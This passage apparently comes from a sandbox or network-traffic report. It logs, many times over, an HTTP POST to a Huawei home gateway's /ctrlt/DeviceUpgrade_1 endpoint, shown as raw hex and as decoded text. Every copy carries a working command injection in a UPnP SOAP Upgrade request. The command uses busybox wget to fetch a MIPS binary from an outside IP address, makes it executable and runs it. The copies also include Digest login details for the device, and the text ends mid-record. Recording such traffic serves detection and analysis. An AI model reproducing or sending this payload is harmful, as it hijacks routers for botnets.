63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 